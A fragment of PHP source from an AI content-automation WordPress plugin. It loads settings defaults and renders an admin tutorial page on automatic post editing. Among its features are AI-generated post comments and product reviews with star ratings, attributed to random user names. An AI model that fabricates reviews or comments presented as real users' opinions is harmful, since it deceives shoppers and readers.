$aiomatic_Spinner_Settings['image_strength']; } else { $image_strength = '0.90'; } if (isset($aiomatic_Spinner_Settings['image_strength_content'])) { $image_strength_content = $aiomatic_Spinner_Settings['image_strength_content']; } else { $image_strength_content = '0.90'; } if (isset($aiomatic_Spinner_Settings['image_size'])) { $image_size = $aiomatic_Spinner_Settings['image_size']; } else { $image_size = ''; } if (isset($aiomatic_Spinner_Settings['max_edit_content'])) { $max_edit_content = $aiomatic_Spinner_Settings['max_edit_content']; } else { $max_edit_content = ''; } if (isset($aiomatic_Spinner_Settings['image_model'])) { $image_model = $aiomatic_Spinner_Settings['image_model']; } else { $image_model = ''; } if (isset($aiomatic_Spinner_Settings['min_char'])) { $min_char = $aiomatic_Spinner_Settings['min_char']; } else { $min_char = ''; } if (isset($aiomatic_Spinner_Settings['videos'])) { $videos = $aiomatic_Spinner_Settings['videos']; } else { $videos = ''; } if (isset($aiomatic_Spinner_Settings['append_toc'])) { $append_toc = $aiomatic_Spinner_Settings['append_toc']; } else { $append_toc = ''; } if (isset($aiomatic_Spinner_Settings['when_toc'])) { $when_toc = $aiomatic_Spinner_Settings['when_toc']; } else { $when_toc = ''; } if (isset($aiomatic_Spinner_Settings['title_toc'])) { $title_toc = $aiomatic_Spinner_Settings['title_toc']; } else { $title_toc = ''; } if (isset($aiomatic_Spinner_Settings['hierarchy_toc'])) { $hierarchy_toc = $aiomatic_Spinner_Settings['hierarchy_toc']; } else { $hierarchy_toc = ''; } if (isset($aiomatic_Spinner_Settings['add_numbers_toc'])) { $add_numbers_toc = $aiomatic_Spinner_Settings['add_numbers_toc']; } else { $add_numbers_toc = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels1'])) { $heading_levels1 = $aiomatic_Spinner_Settings['heading_levels1']; } else { $heading_levels1 = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels2'])) { $heading_levels2 = $aiomatic_Spinner_Settings['heading_levels2']; } else { $heading_levels2 = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels3'])) { $heading_levels3 = $aiomatic_Spinner_Settings['heading_levels3']; } else { $heading_levels3 = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels4'])) { $heading_levels4 = $aiomatic_Spinner_Settings['heading_levels4']; } else { $heading_levels4 = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels5'])) { $heading_levels5 = $aiomatic_Spinner_Settings['heading_levels5']; } else { $heading_levels5 = ''; } if (isset($aiomatic_Spinner_Settings['heading_levels6'])) { $heading_levels6 = $aiomatic_Spinner_Settings['heading_levels6']; } else { $heading_levels6 = ''; } if (isset($aiomatic_Spinner_Settings['exclude_toc'])) { $exclude_toc = $aiomatic_Spinner_Settings['exclude_toc']; } else { $exclude_toc = ''; } if (isset($aiomatic_Spinner_Settings['float_toc'])) { $float_toc = $aiomatic_Spinner_Settings['float_toc']; } else { $float_toc = ''; } if (isset($aiomatic_Spinner_Settings['color_toc'])) { $color_toc = $aiomatic_Spinner_Settings['color_toc']; } else { $color_toc = ''; } if (isset($aiomatic_Spinner_Settings['add_links'])) { $add_links = $aiomatic_Spinner_Settings['add_links']; } else { $add_links = ''; } if (isset($aiomatic_Spinner_Settings['link_method'])) { $link_method = $aiomatic_Spinner_Settings['link_method']; } else { $link_method = ''; } if (isset($aiomatic_Spinner_Settings['link_juicer_prompt'])) { $link_juicer_prompt = $aiomatic_Spinner_Settings['link_juicer_prompt']; } else { $link_juicer_prompt = 'Generate a comma-separated list of relevant keywords for the post title (for use in the Link Juicer plugin): "%%post_title%%".'; } if (isset($aiomatic_Spinner_Settings['link_juicer_assistant_id'])) { $link_juicer_assistant_id = $aiomatic_Spinner_Settings['link_juicer_assistant_id']; } else { $link_juicer_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['link_juicer_model'])) { $link_juicer_model = $aiomatic_Spinner_Settings['link_juicer_model']; } else { $link_juicer_model = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_link_juicer'])) { $ai_vision_link_juicer = $aiomatic_Spinner_Settings['ai_vision_link_juicer']; } else { $ai_vision_link_juicer = ''; } if (isset($aiomatic_Spinner_Settings['max_links'])) { $max_links = $aiomatic_Spinner_Settings['max_links']; } else { $max_links = ''; } if (isset($aiomatic_Spinner_Settings['link_list'])) { $link_list = $aiomatic_Spinner_Settings['link_list']; } else { $link_list = ''; } if (isset($aiomatic_Spinner_Settings['link_nofollow'])) { $link_nofollow = $aiomatic_Spinner_Settings['link_nofollow']; } else { $link_nofollow = ''; } if (isset($aiomatic_Spinner_Settings['link_type'])) { $link_type = $aiomatic_Spinner_Settings['link_type']; } else { $link_type = 'internal'; } if (isset($aiomatic_Spinner_Settings['link_post_types'])) { $link_post_types = $aiomatic_Spinner_Settings['link_post_types']; } else { $link_post_types = ''; } if (isset($aiomatic_Spinner_Settings['add_cats'])) { $add_cats = $aiomatic_Spinner_Settings['add_cats']; } else { $add_cats = 'disabled'; } if (isset($aiomatic_Spinner_Settings['add_tags'])) { $add_tags = $aiomatic_Spinner_Settings['add_tags']; } else { $add_tags = 'disabled'; } if (isset($aiomatic_Spinner_Settings['max_cats'])) { $max_cats = $aiomatic_Spinner_Settings['max_cats']; } else { $max_cats = ''; } if (isset($aiomatic_Spinner_Settings['max_tags'])) { $max_tags = $aiomatic_Spinner_Settings['max_tags']; } else { $max_tags = ''; } if (isset($aiomatic_Spinner_Settings['skip_inexist'])) { $skip_inexist = $aiomatic_Spinner_Settings['skip_inexist']; } else { $skip_inexist = ''; } if (isset($aiomatic_Spinner_Settings['skip_inexist_tags'])) { $skip_inexist_tags = $aiomatic_Spinner_Settings['skip_inexist_tags']; } else { $skip_inexist_tags = ''; } if (isset($aiomatic_Spinner_Settings['ai_cats'])) { $ai_cats = $aiomatic_Spinner_Settings['ai_cats']; } else { $ai_cats = 'Write a comma separated list of 5 categories for post title: %%post_title%%'; } if (isset($aiomatic_Spinner_Settings['ai_tags'])) { $ai_tags = $aiomatic_Spinner_Settings['ai_tags']; } else { $ai_tags = 'Write a comma separated list of 5 tags for post title: %%post_title%%'; } if (isset($aiomatic_Spinner_Settings['cats_model'])) { $cats_model = $aiomatic_Spinner_Settings['cats_model']; } else { $cats_model = ''; } if (isset($aiomatic_Spinner_Settings['tags_model'])) { $tags_model = $aiomatic_Spinner_Settings['tags_model']; } else { $tags_model = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_tag'])) { $ai_vision_tag = $aiomatic_Spinner_Settings['ai_vision_tag']; } else { $ai_vision_tag = ''; } if (isset($aiomatic_Spinner_Settings['add_custom'])) { $add_custom = $aiomatic_Spinner_Settings['add_custom']; } else { $add_custom = ''; } if (isset($aiomatic_Spinner_Settings['ai_custom_field'])) { $ai_custom_field = $aiomatic_Spinner_Settings['ai_custom_field']; } else { $ai_custom_field = ''; } if (isset($aiomatic_Spinner_Settings['ai_custom_tax'])) { $ai_custom_tax = $aiomatic_Spinner_Settings['ai_custom_tax']; } else { $ai_custom_tax = ''; } if (isset($aiomatic_Spinner_Settings['max_custom'])) { $max_custom = $aiomatic_Spinner_Settings['max_custom']; } else { $max_custom = ''; } if (isset($aiomatic_Spinner_Settings['skip_inexist_custom'])) { $skip_inexist_custom = $aiomatic_Spinner_Settings['skip_inexist_custom']; } else { $skip_inexist_custom = ''; } if (isset($aiomatic_Spinner_Settings['custom_assistant_id'])) { $custom_assistant_id = $aiomatic_Spinner_Settings['custom_assistant_id']; } else { $custom_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['custom_model'])) { $custom_model = $aiomatic_Spinner_Settings['custom_model']; } else { $custom_model = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_custom'])) { $ai_vision_custom = $aiomatic_Spinner_Settings['ai_vision_custom']; } else { $ai_vision_custom = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_cat'])) { $ai_vision_cat = $aiomatic_Spinner_Settings['ai_vision_cat']; } else { $ai_vision_cat = ''; } if (isset($aiomatic_Spinner_Settings['tags_assistant_id'])) { $tags_assistant_id = $aiomatic_Spinner_Settings['tags_assistant_id']; } else { $tags_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['add_comments'])) { $add_comments = $aiomatic_Spinner_Settings['add_comments']; } else { $add_comments = ''; } if (isset($aiomatic_Spinner_Settings['max_comments'])) { $max_comments = $aiomatic_Spinner_Settings['max_comments']; } else { $max_comments = ''; } if (isset($aiomatic_Spinner_Settings['ai_comments'])) { $ai_comments = $aiomatic_Spinner_Settings['ai_comments']; } else { $ai_comments = ''; } if (isset($aiomatic_Spinner_Settings['star_count'])) { $star_count = $aiomatic_Spinner_Settings['star_count']; } else { $star_count = ''; } if (isset($aiomatic_Spinner_Settings['prev_comms'])) { $prev_comms = $aiomatic_Spinner_Settings['prev_comms']; } else { $prev_comms = ''; } if (isset($aiomatic_Spinner_Settings['comments_assistant_id'])) { $comments_assistant_id = $aiomatic_Spinner_Settings['comments_assistant_id']; } else { $comments_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['comments_model'])) { $comments_model = $aiomatic_Spinner_Settings['comments_model']; } else { $comments_model = ''; } if (isset($aiomatic_Spinner_Settings['user_list'])) { $user_list = $aiomatic_Spinner_Settings['user_list']; } else { $user_list = '%%random_user%%'; } if (isset($aiomatic_Spinner_Settings['email_list'])) { $email_list = $aiomatic_Spinner_Settings['email_list']; } else { $email_list = ''; } if (isset($aiomatic_Spinner_Settings['url_list'])) { $url_list = $aiomatic_Spinner_Settings['url_list']; } else { $url_list = ''; } if (isset($aiomatic_Spinner_Settings['min_time'])) { $min_time = $aiomatic_Spinner_Settings['min_time']; } else { $min_time = ''; } if (isset($aiomatic_Spinner_Settings['max_time'])) { $max_time = $aiomatic_Spinner_Settings['max_time']; } else { $max_time = ''; } if (isset($aiomatic_Spinner_Settings['headings'])) { $headings = $aiomatic_Spinner_Settings['headings']; } else { $headings = ''; } if (isset($aiomatic_Spinner_Settings['headings_model'])) { $headings_model = $aiomatic_Spinner_Settings['headings_model']; } else { $headings_model = ''; } if (isset($aiomatic_Spinner_Settings['headings_assistant_id'])) { $headings_assistant_id = $aiomatic_Spinner_Settings['headings_assistant_id']; } else { $headings_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['categories_assistant_id'])) { $categories_assistant_id = $aiomatic_Spinner_Settings['categories_assistant_id']; } else { $categories_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['headings_ai_command'])) { $headings_ai_command = $aiomatic_Spinner_Settings['headings_ai_command']; } else { $headings_ai_command = ''; } if (isset($aiomatic_Spinner_Settings['append_assistant_id'])) { $append_assistant_id = $aiomatic_Spinner_Settings['append_assistant_id']; } else { $append_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['enable_ai_images'])) { $enable_ai_images = $aiomatic_Spinner_Settings['enable_ai_images']; } else { $enable_ai_images = ''; } if (isset($aiomatic_Spinner_Settings['images'])) { $images = $aiomatic_Spinner_Settings['images']; } else { $images = ''; } if (isset($aiomatic_Spinner_Settings['max_tokens'])) { $max_tokens = $aiomatic_Spinner_Settings['max_tokens']; } else { $max_tokens = ''; } if (isset($aiomatic_Spinner_Settings['max_seed_tokens'])) { $max_seed_tokens = $aiomatic_Spinner_Settings['max_seed_tokens']; } else { $max_seed_tokens = ''; } if (isset($aiomatic_Spinner_Settings['add_seo'])) { $add_seo = $aiomatic_Spinner_Settings['add_seo']; } else { $add_seo = ''; } if (isset($aiomatic_Spinner_Settings['ai_seo'])) { $ai_seo = $aiomatic_Spinner_Settings['ai_seo']; } else { $ai_seo = ''; } if (isset($aiomatic_Spinner_Settings['meta_assistant_id'])) { $meta_assistant_id = $aiomatic_Spinner_Settings['meta_assistant_id']; } else { $meta_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['seo_model'])) { $seo_model = $aiomatic_Spinner_Settings['seo_model']; } else { $seo_model = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_com'])) { $ai_vision_com = $aiomatic_Spinner_Settings['ai_vision_com']; } else { $ai_vision_com = ''; } if (isset($aiomatic_Spinner_Settings['no_approve'])) { $no_approve = $aiomatic_Spinner_Settings['no_approve']; } else { $no_approve = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_seo'])) { $ai_vision_seo = $aiomatic_Spinner_Settings['ai_vision_seo']; } else { $ai_vision_seo = ''; } if (isset($aiomatic_Spinner_Settings['seo_max_char'])) { $seo_max_char = $aiomatic_Spinner_Settings['seo_max_char']; } else { $seo_max_char = ''; } if (isset($aiomatic_Spinner_Settings['seo_copy_excerpt'])) { $seo_copy_excerpt = $aiomatic_Spinner_Settings['seo_copy_excerpt']; } else { $seo_copy_excerpt = ''; } if (isset($aiomatic_Spinner_Settings['content_text_speech'])) { $content_text_speech = $aiomatic_Spinner_Settings['content_text_speech']; } else { $content_text_speech = 'off'; } if (isset($aiomatic_Spinner_Settings['did_image'])) { $did_image = $aiomatic_Spinner_Settings['did_image']; } else { $did_image = ''; } if (isset($aiomatic_Spinner_Settings['did_voice'])) { $did_voice = $aiomatic_Spinner_Settings['did_voice']; } else { $did_voice = ''; } if (isset($aiomatic_Spinner_Settings['eleven_voice'])) { $eleven_voice = $aiomatic_Spinner_Settings['eleven_voice']; } else { $eleven_voice = ''; } if (isset($aiomatic_Spinner_Settings['eleven_voice_custom'])) { $eleven_voice_custom = $aiomatic_Spinner_Settings['eleven_voice_custom']; } else { $eleven_voice_custom = ''; } if (isset($aiomatic_Spinner_Settings['eleven_model_id'])) { $eleven_model_id = $aiomatic_Spinner_Settings['eleven_model_id']; } else { $eleven_model_id = ''; } if (isset($aiomatic_Spinner_Settings['voice_stability'])) { $voice_stability = $aiomatic_Spinner_Settings['voice_stability']; } else { $voice_stability = ''; } if (isset($aiomatic_Spinner_Settings['voice_similarity_boost'])) { $voice_similarity_boost = $aiomatic_Spinner_Settings['voice_similarity_boost']; } else { $voice_similarity_boost = ''; } if (isset($aiomatic_Spinner_Settings['voice_style'])) { $voice_style = $aiomatic_Spinner_Settings['voice_style']; } else { $voice_style = ''; } if (isset($aiomatic_Spinner_Settings['speaker_boost'])) { $speaker_boost = $aiomatic_Spinner_Settings['speaker_boost']; } else { $speaker_boost = ''; } if (isset($aiomatic_Spinner_Settings['open_model_id'])) { $open_model_id = $aiomatic_Spinner_Settings['open_model_id']; } else { $open_model_id = ''; } if (isset($aiomatic_Spinner_Settings['open_voice'])) { $open_voice = $aiomatic_Spinner_Settings['open_voice']; } else { $open_voice = ''; } if (isset($aiomatic_Spinner_Settings['open_format'])) { $open_format = $aiomatic_Spinner_Settings['open_format']; } else { $open_format = ''; } if (isset($aiomatic_Spinner_Settings['open_speed'])) { $open_speed = $aiomatic_Spinner_Settings['open_speed']; } else { $open_speed = ''; } if (isset($aiomatic_Spinner_Settings['voice_language'])) { $voice_language = $aiomatic_Spinner_Settings['voice_language']; } else { $voice_language = ''; } if (isset($aiomatic_Spinner_Settings['google_voice'])) { $google_voice = $aiomatic_Spinner_Settings['google_voice']; } else { $google_voice = ''; } if (isset($aiomatic_Spinner_Settings['audio_profile'])) { $audio_profile = $aiomatic_Spinner_Settings['audio_profile']; } else { $audio_profile = ''; } if (isset($aiomatic_Spinner_Settings['voice_speed'])) { $voice_speed = $aiomatic_Spinner_Settings['voice_speed']; } else { $voice_speed = ''; } if (isset($aiomatic_Spinner_Settings['voice_pitch'])) { $voice_pitch = $aiomatic_Spinner_Settings['voice_pitch']; } else { $voice_pitch = ''; } if (isset($aiomatic_Spinner_Settings['text_to_audio'])) { $text_to_audio = $aiomatic_Spinner_Settings['text_to_audio']; } else { $text_to_audio = '%%post_content%%'; } if (isset($aiomatic_Spinner_Settings['audio_location'])) { $audio_location = $aiomatic_Spinner_Settings['audio_location']; } else { $audio_location = 'append'; } if (isset($aiomatic_Spinner_Settings['prep_audio'])) { $prep_audio = $aiomatic_Spinner_Settings['prep_audio']; } else { $prep_audio = ''; } if (isset($aiomatic_Spinner_Settings['copy_location'])) { $copy_location = $aiomatic_Spinner_Settings['copy_location']; } else { $copy_location = ''; } if (isset($aiomatic_Spinner_Settings['max_result_tokens'])) { $max_result_tokens = $aiomatic_Spinner_Settings['max_result_tokens']; } else { $max_result_tokens = ''; } if (isset($aiomatic_Spinner_Settings['max_continue_tokens'])) { $max_continue_tokens = $aiomatic_Spinner_Settings['max_continue_tokens']; } else { $max_continue_tokens = ''; } if (isset($aiomatic_Spinner_Settings['model'])) { $model = $aiomatic_Spinner_Settings['model']; } else { $model = ''; } if (isset($aiomatic_Spinner_Settings['ai_command'])) { $ai_command = $aiomatic_Spinner_Settings['ai_command']; } else { $ai_command = ''; } if (isset($aiomatic_Spinner_Settings['temperature'])) { $temperature = $aiomatic_Spinner_Settings['temperature']; } else { $temperature = ''; } if (isset($aiomatic_Spinner_Settings['top_p'])) { $top_p = $aiomatic_Spinner_Settings['top_p']; } else { $top_p = ''; } if (isset($aiomatic_Spinner_Settings['presence_penalty'])) { $presence_penalty = $aiomatic_Spinner_Settings['presence_penalty']; } else { $presence_penalty = ''; } if (isset($aiomatic_Spinner_Settings['frequency_penalty'])) { $frequency_penalty = $aiomatic_Spinner_Settings['frequency_penalty']; } else { $frequency_penalty = ''; } if (isset($aiomatic_Spinner_Settings['ai_rewriter'])) { $ai_rewriter = $aiomatic_Spinner_Settings['ai_rewriter']; } else { $ai_rewriter = ''; } if (isset($aiomatic_Spinner_Settings['ai_instruction'])) { $ai_instruction = $aiomatic_Spinner_Settings['ai_instruction']; } else { $ai_instruction = ''; } if (isset($aiomatic_Spinner_Settings['ai_instruction_title'])) { $ai_instruction_title = $aiomatic_Spinner_Settings['ai_instruction_title']; } else { $ai_instruction_title = ''; } if (isset($aiomatic_Spinner_Settings['ai_instruction_slug'])) { $ai_instruction_slug = $aiomatic_Spinner_Settings['ai_instruction_slug']; } else { $ai_instruction_slug = ''; } if (isset($aiomatic_Spinner_Settings['no_slug'])) { $no_slug = $aiomatic_Spinner_Settings['no_slug']; } else { $no_slug = ''; } if (isset($aiomatic_Spinner_Settings['edit_temperature'])) { $edit_temperature = $aiomatic_Spinner_Settings['edit_temperature']; } else { $edit_temperature = ''; } if (isset($aiomatic_Spinner_Settings['edit_top_p'])) { $edit_top_p = $aiomatic_Spinner_Settings['edit_top_p']; } else { $edit_top_p = ''; } if (isset($aiomatic_Spinner_Settings['max_char_chunks'])) { $max_char_chunks = $aiomatic_Spinner_Settings['max_char_chunks']; } else { $max_char_chunks = ''; } if (isset($aiomatic_Spinner_Settings['max_char'])) { $max_char = $aiomatic_Spinner_Settings['max_char']; } else { $max_char = ''; } if (isset($aiomatic_Spinner_Settings['no_title'])) { $no_title = $aiomatic_Spinner_Settings['no_title']; } else { $no_title = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision'])) { $ai_vision = $aiomatic_Spinner_Settings['ai_vision']; } else { $ai_vision = ''; } if (isset($aiomatic_Spinner_Settings['ai_vision_add'])) { $ai_vision_add = $aiomatic_Spinner_Settings['ai_vision_add']; } else { $ai_vision_add = ''; } if (isset($aiomatic_Spinner_Settings['preppend_add'])) { $preppend_add = $aiomatic_Spinner_Settings['preppend_add']; } else { $preppend_add = ''; } if (isset($aiomatic_Spinner_Settings['append_add'])) { $append_add = $aiomatic_Spinner_Settings['append_add']; } else { $append_add = ''; } if (isset($aiomatic_Spinner_Settings['rewrite_url'])) { $rewrite_url = $aiomatic_Spinner_Settings['rewrite_url']; } else { $rewrite_url = ''; } if (isset($aiomatic_Spinner_Settings['edit_model'])) { $edit_model = $aiomatic_Spinner_Settings['edit_model']; } else { $edit_model = ''; } if (isset($aiomatic_Spinner_Settings['edit_assistant_id'])) { $edit_assistant_id = $aiomatic_Spinner_Settings['edit_assistant_id']; } else { $edit_assistant_id = ''; } if (isset($aiomatic_Spinner_Settings['no_html_check'])) { $no_html_check = $aiomatic_Spinner_Settings['no_html_check']; } else { $no_html_check = ''; } if (isset($aiomatic_Spinner_Settings['protect_html'])) { $protect_html = $aiomatic_Spinner_Settings['protect_html']; } else { $protect_html = ''; } if (isset($aiomatic_Spinner_Settings['ai_featured_image_edit_content'])) { $ai_featured_image_edit_content = $aiomatic_Spinner_Settings['ai_featured_image_edit_content']; } else { $ai_featured_image_edit_content = 'disabled'; } if (isset($aiomatic_Spinner_Settings['ai_featured_image_engine_content'])) { $ai_featured_image_engine_content = $aiomatic_Spinner_Settings['ai_featured_image_engine_content']; } else { $ai_featured_image_engine_content = ''; } if (isset($aiomatic_Spinner_Settings['ai_image_command_edit_content'])) { $ai_image_command_edit_content = $aiomatic_Spinner_Settings['ai_image_command_edit_content']; } else { $ai_image_command_edit_content = 'Slightly change the image, making it unique.'; } if (isset($aiomatic_Spinner_Settings['no_content'])) { $no_content = $aiomatic_Spinner_Settings['no_content']; } else { $no_content = ''; } if (isset($aiomatic_Spinner_Settings['no_excerpt'])) { $no_excerpt = $aiomatic_Spinner_Settings['no_excerpt']; } else { $no_excerpt = ''; } if (isset($aiomatic_Spinner_Settings['max_slug_len'])) { $max_slug_len = $aiomatic_Spinner_Settings['max_slug_len']; } else { $max_slug_len = ''; } if (isset($aiomatic_Spinner_Settings['ai_instruction_excerpt'])) { $ai_instruction_excerpt = $aiomatic_Spinner_Settings['ai_instruction_excerpt']; } else { $ai_instruction_excerpt = ''; } if (isset($aiomatic_Spinner_Settings['tag_name'])) { $tag_name = $aiomatic_Spinner_Settings['tag_name']; } else { $tag_name = ''; } if (isset($aiomatic_Spinner_Settings['post_id'])) { $post_id = $aiomatic_Spinner_Settings['post_id']; } else { $post_id = ''; } if (isset($aiomatic_Spinner_Settings['post_name'])) { $post_name = $aiomatic_Spinner_Settings['post_name']; } else { $post_name = ''; } if (isset($aiomatic_Spinner_Settings['page_id'])) { $page_id = $aiomatic_Spinner_Settings['page_id']; } else { $page_id = ''; } if (isset($aiomatic_Spinner_Settings['post_parent'])) { $post_parent = $aiomatic_Spinner_Settings['post_parent']; } else { $post_parent = ''; } if (isset($aiomatic_Spinner_Settings['post_status'])) { $post_status = $aiomatic_Spinner_Settings['post_status']; } else { $post_status = ''; } if (isset($aiomatic_Spinner_Settings['type_post'])) { $type_post = $aiomatic_Spinner_Settings['type_post']; } else { $type_post = ''; } if (isset($aiomatic_Spinner_Settings['pagename'])) { $pagename = $aiomatic_Spinner_Settings['pagename']; } else { $pagename = ''; } if (isset($aiomatic_Spinner_Settings['search_offset'])) { $search_offset = $aiomatic_Spinner_Settings['search_offset']; } else { $search_offset = ''; } if (isset($aiomatic_Spinner_Settings['search_query'])) { $search_query = $aiomatic_Spinner_Settings['search_query']; } else { $search_query = ''; } if (isset($aiomatic_Spinner_Settings['meta_name'])) { $meta_name = $aiomatic_Spinner_Settings['meta_name']; } else { $meta_name = ''; } if (isset($aiomatic_Spinner_Settings['meta_value'])) { $meta_value = $aiomatic_Spinner_Settings['meta_value']; } else { $meta_value = ''; } if (isset($aiomatic_Spinner_Settings['year'])) { $year = $aiomatic_Spinner_Settings['year']; } else { $year = ''; } if (isset($aiomatic_Spinner_Settings['month'])) { $month = $aiomatic_Spinner_Settings['month']; } else { $month = ''; } if (isset($aiomatic_Spinner_Settings['day'])) { $day = $aiomatic_Spinner_Settings['day']; } else { $day = ''; } if (isset($aiomatic_Spinner_Settings['order'])) { $order = $aiomatic_Spinner_Settings['order']; } else { $order = ''; } if (isset($aiomatic_Spinner_Settings['orderby'])) { $orderby = $aiomatic_Spinner_Settings['orderby']; } else { $orderby = ''; } if (isset($aiomatic_Spinner_Settings['featured_image'])) { $featured_image = $aiomatic_Spinner_Settings['featured_image']; } else { $featured_image = ''; } if (isset($aiomatic_Spinner_Settings['max_posts'])) { $max_posts = $aiomatic_Spinner_Settings['max_posts']; } else { $max_posts = ''; } if (isset($aiomatic_Spinner_Settings['category_name'])) { $category_name = $aiomatic_Spinner_Settings['category_name']; } else { $category_name = ''; } if (isset($aiomatic_Spinner_Settings['author_id'])) { $author_id = $aiomatic_Spinner_Settings['author_id']; } else { $author_id = ''; } if (isset($aiomatic_Spinner_Settings['author_name'])) { $author_name = $aiomatic_Spinner_Settings['author_name']; } else { $author_name = ''; } if (isset($aiomatic_Spinner_Settings['max_nr'])) { $max_nr = $aiomatic_Spinner_Settings['max_nr']; } else { $max_nr = ''; } if (isset($aiomatic_Spinner_Settings['delay_request'])) { $delay_request = $aiomatic_Spinner_Settings['delay_request']; } else { $delay_request = ''; } if (isset($aiomatic_Spinner_Settings['secret_word'])) { $secret_word = $aiomatic_Spinner_Settings['secret_word']; } else { $secret_word = ''; } if (isset($aiomatic_Spinner_Settings['auto_edit'])) { $auto_edit = $aiomatic_Spinner_Settings['auto_edit']; } else { $auto_edit = 'disabled'; } if (isset($aiomatic_Spinner_Settings['auto_run_interval'])) { $auto_run_interval = $aiomatic_Spinner_Settings['auto_run_interval']; } else { $auto_run_interval = 'No'; } if (isset($aiomatic_Spinner_Settings['no_twice'])) { $no_twice = $aiomatic_Spinner_Settings['no_twice']; } else { $no_twice = ''; } if (isset($aiomatic_Spinner_Settings['custom_name'])) { $custom_name = $aiomatic_Spinner_Settings['custom_name']; } else { $custom_name = 'aiomatic_published'; } if (isset($_GET['settings-updated'])) { ?> <div id="message" class="updated"> <p class="cr_saved_notif"><strong> <?php echo esc_html__('Settings saved.', 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php $get = get_option('coderevolution_settings_changed', 0); if($get == 1) { delete_option('coderevolution_settings_changed'); ?> <div id="message" class="updated"> <p class="cr_failed_notif"><strong> <?php echo esc_html__('Plugin registration failed!', 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } elseif($get == 2) { delete_option('coderevolution_settings_changed'); ?> <div id="message" class="updated"> <p class="cr_saved_notif"><strong> <?php echo esc_html__('Plugin registration successful!', 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } elseif($get != 0) { delete_option('coderevolution_settings_changed'); ?> <div id="message" class="updated"> <p class="cr_failed_notif"><strong> <?php echo esc_html($get);?></strong></p> </div> <?php } } ?> <div class="aiomatic_class"> <div id="tab-0" class="tab-content"> <br/> <h2><?php echo esc_html__('Welcome to Automatic AI Content Editing', 'aiomatic-automatic-ai-content-writer');?></h2> <p> <?php echo esc_html__('Welcome to this comprehensive guide on how to use the automatic post editing feature of the Aiomatic plugin. This powerful tool leverages artificial intelligence to automatically edit and enhance your WordPress posts, saving you time and effort while ensuring your content is optimized and engaging. Whether you\'re publishing new posts, drafting content, or revising existing posts, the Aiomatic plugin can be configured to automatically apply a range of edits. These include rewriting content, assigning featured images, appending or prepending AI-generated content, adding internal links, inserting related comments, and generating SEO meta descriptions.', 'aiomatic-automatic-ai-content-writer');?> </p> <p> <?php echo esc_html__('In this tutorial, we will walk you through each step of setting up and using this feature, from installation and activation of the plugin, to configuring automatic and manual editing settings, to defining your editing templates and options, and finally, to adjusting advanced AI API settings for the editing process. By the end of this guide, you\'ll be able to harness the power of AI to streamline your content creation process and enhance the quality of your posts. Let\'s get started!', 'aiomatic-automatic-ai-content-writer');?> </p> <h2><?php echo esc_html__('"Automatic Content Editing Settings" Tab', 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__('Here, you can set up the conditions for automatic post editing:', 'aiomatic-automatic-ai-content-writer');?> <ul><li><?php echo esc_html__('When to edit posts: Choose whether you want posts to be edited when they are published, drafted, or set as pending.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('What post types to edit: Select the types of posts you want to be edited. This could be blog posts, pages, or any custom post types you have on your site.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('How long to wait before editing new posts: Set a delay for the editing process. This could be useful if you want to review the posts yourself before they are automatically edited.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('What categories or tags not to edit: If there are certain categories or tags you don\'t want to be edited, you can specify them here.', 'aiomatic-automatic-ai-content-writer');?> </li></ul> <h2><?php echo esc_html__('"Manual Content Editing Settings" Tab', 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__('In the \'Manual Content Editing Settings\' tab, you can set up the conditions for manual post editing. This is useful for editing existing posts. You can set detailed filters on what posts/pages/custom post types to automatically edit.', 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__('"Editing Templates and Options" Tab', 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__('In the \'Editing Templates and Options\' tab, you can set how to edit posts. Here are the options:', 'aiomatic-automatic-ai-content-writer');?> <ul><li> <?php echo esc_html__('Enable AI Content Rewriting: This will enable the editing and rewriting of the content.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Enable Featured Image Creation: This will automatically assign a featured image to the published content.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Enable Featured Image Editing: This will automatically edit the current featured image of the post, based on a predefined prompt.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Add AI Generated Content: This will automatically append or prepend AI generated content to posts.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Automatically Add Internal Links: This will automatically add internal links to posts.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Automatically Add Post Comments/Product Reviews: This will add related comments to posts or reviews to products.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('Automatically Add AI Generated SEO Description To Posts: This will automatically add SEO meta description for posts.', 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__('You can also change the status of the posts after they were edited, using the \'Change Post Status After Editing\' settings field.', 'aiomatic-automatic-ai-content-writer');?> </li></ul> <h2><?php echo esc_html__('"Advanced AI API Settings" Tab', 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__('In the \'Advanced AI API Settings\' tab, you can change advanced 